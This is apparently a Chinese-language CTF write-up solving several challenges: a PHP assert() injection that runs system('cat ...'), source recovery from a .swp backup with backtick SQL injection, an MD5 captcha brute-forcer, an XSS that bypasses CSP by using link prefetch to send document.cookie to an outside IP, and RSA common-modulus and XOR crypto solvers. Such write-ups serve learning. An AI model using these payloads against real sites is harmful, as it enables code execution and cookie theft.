发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造
'.xxx.'
这样大概在里面是
$file="templates/".''.xxx.''.".php"
assert("strpos('templates/'.xxx.'.php') ===
发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢
','..') === False and system('');//
payload:
','..')===False and system('cat templates/flag.php');//
flag:61dctf{8e_careful_when_us1ng_ass4rt}
一开始没有其他目录,那就尝试一下备份
在.index.php.swp
发现源码
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
发现我如果输入任何数,都会hack!
,猜测是Hacker()
报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
首先是验证码的碰撞,直接脚本
import random
import string
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
i = 0
while 1:
i +=1
#print i
string = ''
s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
if md5(s)[0:4] == '82ac':
print s
break
接下来就是xss的过程,不过有csp机制
由于CSP对link标签的预加载功能考虑不完善,先是构造一个
发现写入页面里了,当时忽略了这点,结果总是找不到好的方法去控制,想了好久好久,就是不能过
不过后来有了提示,寻找可控点,联想得到的referer页面的可写入
单纯的发送并利用src去访问,结果发现不执行,由于有了link以后,下面的就失去了作用,看来需要让link解析但最后的php又不执行,尝试注释,发现成功
payload:
首先提交这个
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://45.32.67.217/XSS/?a=" + String(document.cookie));
document.head.appendChild(n0t);
//
然后根据返回的referer再提交
然后静等返回flag
脚本
a= [113, 123, 118, 112, 108, 94, 99, 72, 38, 68, 72, 87, 89, 72, 36, 118, 100,78, 72, 87, 121, 83, 101, 39, 62, 94, 62, 38, 107, 115, 106]
f=''
for i in a:
f+= chr(i^23)
print f
整理一下,payload
s ='1k2j9Gh}AgfY4ds-a6QW1#k5ER_T[cvLbV7nOm3ZeX{CMt8SZo]U'
a = ['48','5D','8D','24','84','27','99','9F','54','18','1E','69','7E','33','15','72','8D','33','24','63','21','54','0C','78','78','78','78','78','1B']
f = ''
for i in range(29):
print int(a[i],16)/3
f += s[int(a[i],16)/3 -2]
print f
打开看见加密脚本
flag = open("flag", "r").read().strip()
assert len(flag) == 32
def str2num(s):
return int(s.encode('hex'), 16)
def bbencode(n):
a = 0
for i in bin(n)[2:]:
a = a << 1
if (int(i)):
a = a ^ n
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
return a
print bbencode(str2num(flag))
这个跟0ctf的OneTimePad1比较像,不过简单了许多,这个算法只要将加密的密文按着加密脚本重复下去,就能得到flag,不过数学不是很好,所以不怎么知道需要轮询多少遍,去了个巧,猜测flag格式是flag{}
,这样我直接比对flag的16进制是否匹配即可
def bbencode(n):
a = 0
for i in bin(n)[2:]:
a = a << 1
if (int(i)):
a = a ^ n
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
return a
flag = 61406787709715709430385495960238216763226399960658358000016620560764164045692
for i in range(10000000):
flag = bbencode(flag)
if '666c6167' == str(hex(flag))[2:10]:
print i
print hex(flag)[2:-1].decode('hex')
发现还能得到好多,不过还不是很明白到底要重复多少次,似乎跟数论有关
这个看下脚本
flag = open("flag", "r").read().strip()
assert len(flag) == 32
import primefac
import random
from os import urandom
def genprime(l):
l/=8
big=1
while(l):
big=big<<8
l-=1
big-=1
small=(big+1)>>4
temp=random.randint(small,big)
return primefac.nextprime(temp)
#genprime(2048)
def str2num(s):
return int(s.encode('hex'), 16)
def padding(s):
return s+urandom(abs(256-len(s)))
def rsappend(m):
p = genprime(2048)
q = genprime(2048)
n = p * q
result=[str(n)+"\n"]
pm=padding(flag)
for i in range(32):
e=genprime(32)
c=pow(str2num(pm),e,n)
result.append(str(e)+"###"+str(c)+"\n")
return "".join(result)
open("result","w").write(rsappend(flag))
定义的那些函数根本不用看,反正主体不在那,看主体,会发现先将flag填充很多随机字符,然后会发现又随机生成c,e,然后他居然循环32次,让我一直坑在数量上
这么多数据,我一直以为是全部数据都要处理,却发现只要两个组成共模攻击即可,反正其他的数据是用来处理后面的填充字段的。。。郁闷
脚本
#coding=utf-8
import sys
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def main():
n = 130129008900473203968454456805638875182255844172836031362469765750555629223299054613072677100571707156698316733582683118539756860001556017029333867329591302318262912728008327902112481960175532302595162289611406978353816368008691640641366763939266242207191229240305820321249712345088877729541037319788659353057396178127928848886417880913823432701577855911982710310391664759040416918636673098245499680559140960154217578440590540485803953844560093151975252604098243460784073934982164384904788470380402066708313893480356219937915540825156266934523595689350157227336528136089157698775968997579723271988825396396444999743016035145444220925369592263295741687879468786947998534483539986779457827253891091252408156073413533385415338751818544323853074296042153599429749378847870780593975579477549218822682233583377677693108437331184962345568217859524495625257015837972947971787321584159575618388588687948368216479955807108888453821700067186732627409832722329355336479016104249514839541606562090752437124270651936485389358065775555250883907067083447197860848471728871909151915883316674512739238840179296263390441457949281128267215916340163366686542160467601357340644950755337706786366316621293666173843528346692669268972961669116101104865152273
e1 = 3493354673
e2 = 340864687
c1 = 95302089605615051645253770338205531172677353498946580682786822045513597212422921981567826452072575982096979591435896082106066368909398510427324124083956090397824543655853708684901332136907086372208856759943292176759073194584568350898675282883285945088425893961769183074018286761903249180704401358403273776903672507958464947244563165564687651203497198317095965140433811056890812018746508121991041040929574993486548175817290824525606551459788553765629416110310419007396912225733599205599864440826319234419035248234403040065378375700430311931418759746223148198205862641252459687694589780856855757703678024583642215076094232444641853081607984934672271461513190437757388818064739151861157236855430066735235471068167602037785718403200529481153399754491247323829122718485697100562237822159608309949585990842201041193231738706398444530233533281604482892716292766323711237917277799500317596333142843576977429802405873159965636003943698854699972663575602383960580472190300576561953143218321528070200681456278974433060654128626428761278953024384187213765974659768657721533448706022075747036347982370028705538843276631102928500802573434484354218539824751579164697748967608238067706842975984077663380114254296902060435479795741671231918448537178
c2 = 105918022590727868761989308441554006325741233318901416621101439141134508212362387984949614887131575960019253866892976283979646611794365370050551871112439674346802340152058463892106629344277362169322187627579360245792142005899616101515519718660483000821415412306495286717542069436530262341500852884860324349096274655178057271529986597578695272732947460673640986877589225588415523871081101162696385279491410034057376225511693022693861779342120101749193614060384925056132593068290214170342896671210026723193650534803792328917982049779674425511275821311773130342656939142955431868128759911406827872932920704284125816103225607727270365652734742083302757644298457617564597237089509337896240249999242834787525341715546373108420197569425092674224333823552432226153066667988737348643469923827028254712179077001007265954488404167147591307425224250970874724864947175449960116685682348915647317191880538777148647712260093008241728509225817352093441924045801257015598517963598799676359095235231066752986688784477694024390356904157694178691411759003004184256950519184836209393583431328640341243629167223114681734264945594931213193459079614652400888215324779908031661350565230685273639666615465296133672907093946148188967451042301308884510424218096
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
#m = (c1**s1)*(c2**s2)%n
m = (pow(c1,s1,n)*pow(c2,s2,n))%n #效率较高
print m
if __name__ == '__main__':
sys.setrecursionlimit(1000000)
main()